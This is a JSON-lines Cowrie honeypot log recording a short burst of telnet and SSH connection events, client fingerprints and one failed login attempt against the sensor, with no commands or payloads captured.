{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36074,"dst_ip":"159.203.135.109","dst_port":23,"session":"309907bab5f1","protocol":"telnet","message":"New connection: 162.55.233.176:36074 (159.203.135.109:23) [session: 309907bab5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:36.009471Z"}
{"eventid":"cowrie.session.closed","duration":36.20606207847595,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:36.622465Z","src_ip":"162.55.233.176","session":"38c541fa6104","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.135761976242065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:36.670645Z","src_ip":"162.55.233.176","session":"a77e906a8d91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36086,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a00dbf9885c","protocol":"telnet","message":"New connection: 162.55.233.176:36086 (159.203.135.109:23) [session: 0a00dbf9885c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:36.793002Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36096,"dst_ip":"159.203.135.109","dst_port":23,"session":"843ce0b4ad89","protocol":"telnet","message":"New connection: 162.55.233.176:36096 (159.203.135.109:23) [session: 843ce0b4ad89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:36.825127Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36098,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e50992dfcb6","protocol":"telnet","message":"New connection: 162.55.233.176:36098 (159.203.135.109:23) [session: 2e50992dfcb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:38.458174Z"}
{"eventid":"cowrie.session.closed","duration":31.23093843460083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:38.765323Z","src_ip":"162.55.233.176","session":"ab92aafcb770","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54562,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d05b5e20636","protocol":"telnet","message":"New connection: 188.208.141.113:54562 (10.17.0.5:23) [session: 2d05b5e20636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:39.325269Z"}
{"eventid":"cowrie.session.closed","duration":31.24515986442566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:39.580918Z","src_ip":"162.55.233.176","session":"1e484ee1fef6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36102,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb67225b75ca","protocol":"telnet","message":"New connection: 162.55.233.176:36102 (159.203.135.109:23) [session: eb67225b75ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:40.426434Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36122,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b661d7e179f","protocol":"telnet","message":"New connection: 162.55.233.176:36122 (159.203.135.109:23) [session: 0b661d7e179f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:41.597847Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36136,"dst_ip":"159.203.135.109","dst_port":23,"session":"00afda1fdf79","protocol":"telnet","message":"New connection: 162.55.233.176:36136 (159.203.135.109:23) [session: 00afda1fdf79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:41.652361Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36148,"dst_ip":"159.203.135.109","dst_port":23,"session":"333a2425b918","protocol":"telnet","message":"New connection: 162.55.233.176:36148 (159.203.135.109:23) [session: 333a2425b918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:41.721363Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36114,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b5a865babeb","protocol":"telnet","message":"New connection: 162.55.233.176:36114 (159.203.135.109:23) [session: 5b5a865babeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:41.847531Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36158,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1cef8650626","protocol":"telnet","message":"New connection: 162.55.233.176:36158 (159.203.135.109:23) [session: f1cef8650626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:41.961467Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36160,"dst_ip":"159.203.135.109","dst_port":23,"session":"22455b25502b","protocol":"telnet","message":"New connection: 162.55.233.176:36160 (159.203.135.109:23) [session: 22455b25502b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:42.884856Z"}
{"eventid":"cowrie.session.closed","duration":42.75840210914612,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:43.003586Z","src_ip":"206.189.32.23","session":"1b88eba5c761","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":39648,"dst_ip":"10.17.0.5","dst_port":23,"session":"707248ae4ec1","protocol":"telnet","message":"New connection: 206.189.32.23:39648 (10.17.0.5:23) [session: 707248ae4ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:43.390034Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53720,"dst_ip":"159.203.135.109","dst_port":23,"session":"efb9cd1f88f3","protocol":"telnet","message":"New connection: 162.55.233.176:53720 (159.203.135.109:23) [session: efb9cd1f88f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:44.026684Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53712,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd4f1fadd10a","protocol":"telnet","message":"New connection: 162.55.233.176:53712 (159.203.135.109:23) [session: dd4f1fadd10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:44.507716Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53730,"dst_ip":"159.203.135.109","dst_port":23,"session":"047c3b1e14de","protocol":"telnet","message":"New connection: 162.55.233.176:53730 (159.203.135.109:23) [session: 047c3b1e14de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:44.532890Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53740,"dst_ip":"159.203.135.109","dst_port":23,"session":"4934f6542de3","protocol":"telnet","message":"New connection: 162.55.233.176:53740 (159.203.135.109:23) [session: 4934f6542de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:44.605904Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53742,"dst_ip":"159.203.135.109","dst_port":23,"session":"e058f8e0a3b2","protocol":"telnet","message":"New connection: 162.55.233.176:53742 (159.203.135.109:23) [session: e058f8e0a3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:44.870981Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53744,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b166c251d56","protocol":"telnet","message":"New connection: 162.55.233.176:53744 (159.203.135.109:23) [session: 9b166c251d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:45.210388Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":50244,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc1ddc1e83d0","protocol":"ssh","message":"New connection: 38.137.11.14:50244 (10.17.0.5:22) [session: dc1ddc1e83d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:45.392961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:45.397793Z","src_ip":"38.137.11.14","session":"dc1ddc1e83d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":42118,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b9ab451d269","protocol":"telnet","message":"New connection: 206.189.32.23:42118 (10.17.0.5:23) [session: 2b9ab451d269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:45.407709Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:45.646485Z","src_ip":"38.137.11.14","session":"dc1ddc1e83d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53758,"dst_ip":"159.203.135.109","dst_port":23,"session":"24821cc77167","protocol":"telnet","message":"New connection: 162.55.233.176:53758 (159.203.135.109:23) [session: 24821cc77167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:45.671762Z"}
{"eventid":"cowrie.session.closed","duration":33.0265109539032,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:46.204253Z","src_ip":"162.55.233.176","session":"eb2766358e81","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"teste1","password":"1234","message":"login attempt [teste1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:46.667292Z","src_ip":"38.137.11.14","session":"dc1ddc1e83d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.847257375717163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:46.711799Z","src_ip":"162.55.233.176","session":"61b6172193f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53770,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9b8b6e14f5e","protocol":"telnet","message":"New connection: 162.55.233.176:53770 (159.203.135.109:23) [session: d9b8b6e14f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:47.705359Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:47.916991Z","src_ip":"38.137.11.14","session":"dc1ddc1e83d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53784,"dst_ip":"159.203.135.109","dst_port":23,"session":"078ef74e8671","protocol":"telnet","message":"New connection: 162.55.233.176:53784 (159.203.135.109:23) [session: 078ef74e8671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:48.149160Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53788,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b761f8b621c","protocol":"telnet","message":"New connection: 162.55.233.176:53788 (159.203.135.109:23) [session: 7b761f8b621c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:48.271442Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53800,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a22770132e4","protocol":"telnet","message":"New connection: 162.55.233.176:53800 (159.203.135.109:23) [session: 0a22770132e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:49.565014Z"}
{"eventid":"cowrie.session.closed","duration":31.077728509902954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:49.948965Z","src_ip":"162.55.233.176","session":"6f40a2818ed8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.049606800079346,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:50.624454Z","src_ip":"162.55.233.176","session":"9b7f7727947e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.252420663833618,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:50.660043Z","src_ip":"206.189.32.23","session":"2b9ab451d269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.62588095664978,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:50.970913Z","src_ip":"206.189.32.23","session":"e79d06f89007","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53814,"dst_ip":"159.203.135.109","dst_port":23,"session":"87f6d0dbcf36","protocol":"telnet","message":"New connection: 162.55.233.176:53814 (159.203.135.109:23) [session: 87f6d0dbcf36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:51.573554Z"}
{"eventid":"cowrie.session.closed","duration":42.768580198287964,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:53.001221Z","src_ip":"162.55.233.176","session":"05dfd07c97f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.640058755874634,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:53.005431Z","src_ip":"206.189.32.23","session":"d63d21d3b9e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44878053665161,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:54.431492Z","src_ip":"162.55.233.176","session":"54d1a3b1f763","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80216383934021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:54.469991Z","src_ip":"162.55.233.176","session":"e5aa26e1b2e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42858,"dst_ip":"159.203.135.109","dst_port":23,"session":"116c809f244f","protocol":"telnet","message":"New connection: 162.55.233.176:42858 (159.203.135.109:23) [session: 116c809f244f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:55.659015Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42868,"dst_ip":"159.203.135.109","dst_port":23,"session":"d139fc8f5962","protocol":"telnet","message":"New connection: 162.55.233.176:42868 (159.203.135.109:23) [session: d139fc8f5962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:55.901273Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42880,"dst_ip":"159.203.135.109","dst_port":23,"session":"f143473f9b82","protocol":"telnet","message":"New connection: 162.55.233.176:42880 (159.203.135.109:23) [session: f143473f9b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:56.483902Z"}
{"eventid":"cowrie.session.closed","duration":34.756205320358276,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:56.841895Z","src_ip":"162.55.233.176","session":"a394268eef18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42882,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2f8fb51bbec","protocol":"telnet","message":"New connection: 162.55.233.176:42882 (159.203.135.109:23) [session: a2f8fb51bbec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:57.410007Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.129","src_port":38539,"dst_ip":"10.17.0.5","dst_port":22,"session":"849c108cddf0","protocol":"ssh","message":"New connection: 104.152.52.129:38539 (10.17.0.5:22) [session: 849c108cddf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:58.188315Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003h\\xd7\\xd3\\xdbjv\\xcb\\xc3r\\x908\\xe2\\xd3o\\xee\\xc4\\xc8\\xc9\\xed7\u0000t&-1\\x97kO\\xa3\\xdb\r\\x94 )}\f\\xee\\x91?\u055d6\\xb51\\xe2oi\\xaf\u0018\\xfcj?\ud222\\xcc8\\xb3\\xfeuAq\\xe8\\xf3\\xb6\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003h\\xd7\\xd3\\xdbjv\\xcb\\xc3r\\x908\\xe2\\xd3o\\xee\\xc4\\xc8\\xc9\\xed7\u0000t&-1\\x97kO\\xa3\\xdb\r\\x94 )}\f\\xee\\x91?\u055d6\\xb51\\xe2oi\\xaf\u0018\\xfcj?\ud222\\xcc8\\xb3\\xfeuAq\\xe8\\xf3\\xb6\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:58.193048Z","src_ip":"104.152.52.129","session":"849c108cddf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:58.197499Z","src_ip":"104.152.52.129","session":"849c108cddf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.147","src_port":49131,"dst_ip":"10.17.0.5","dst_port":22,"session":"270b2c75c17c","protocol":"ssh","message":"New connection: 104.152.52.147:49131 (10.17.0.5:22) [session: 270b2c75c17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:58.250845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:58.255551Z","src_ip":"104.152.52.147","session":"270b2c75c17c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:58.279444Z","src_ip":"104.152.52.147","session":"270b2c75c17c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:58.306166Z","src_ip":"104.152.52.147","session":"270b2c75c17c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":56136,"dst_ip":"10.17.0.5","dst_port":23,"session":"306b15a80a9a","protocol":"telnet","message":"New connection: 206.189.32.23:56136 (10.17.0.5:23) [session: 306b15a80a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:58.430980Z"}
{"eventid":"cowrie.session.closed","duration":33.397823095321655,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:58.700459Z","src_ip":"162.55.233.176","session":"d2ddedb95a3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.15297484397888,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:59.125354Z","src_ip":"162.55.233.176","session":"db55499ba48c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42884,"dst_ip":"159.203.135.109","dst_port":23,"session":"e71b1e71da26","protocol":"telnet","message":"New connection: 162.55.233.176:42884 (159.203.135.109:23) [session: e71b1e71da26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:11:59.441717Z"}
{"eventid":"cowrie.session.closed","duration":35.83510231971741,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:00.809126Z","src_ip":"162.55.233.176","session":"b4b87db2b808","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.484946727752686,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:02.851824Z","src_ip":"162.55.233.176","session":"41f445b525a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.05592393875122,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:03.909299Z","src_ip":"162.55.233.176","session":"72cf4acb4b12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46122,"dst_ip":"159.203.135.109","dst_port":23,"session":"474b43f55681","protocol":"telnet","message":"New connection: 162.55.233.176:46122 (159.203.135.109:23) [session: 474b43f55681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:04.017361Z"}
{"eventid":"cowrie.session.closed","duration":30.659721851348877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:04.403620Z","src_ip":"162.55.233.176","session":"98542a8fedc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46130,"dst_ip":"159.203.135.109","dst_port":23,"session":"00556220972a","protocol":"telnet","message":"New connection: 162.55.233.176:46130 (159.203.135.109:23) [session: 00556220972a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:04.423267Z"}
